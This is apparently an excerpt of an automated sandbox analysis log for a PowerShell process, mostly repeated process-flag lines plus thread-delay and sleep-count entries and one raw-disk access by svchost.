Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7116	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1278	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7231	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2353	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6137
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 669
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5020
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2460
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7567
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1976

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7880	Thread sleep count: 7116 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7880	Thread sleep count: 1278 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8132	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8020	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7460	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7960	Thread sleep count: 7231 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 396	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7904	Thread sleep count: 2353 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8212	Thread sleep count: 6137 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8300	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8212	Thread sleep count: 669 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7244	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8228	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8656	Thread sleep count: 5020 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8656	Thread sleep count: 2460 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8684	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8672	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8844	Thread sleep count: 7567 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8844	Thread sleep count: 1976 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8880	Thread sleep time: -7378697629483816s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
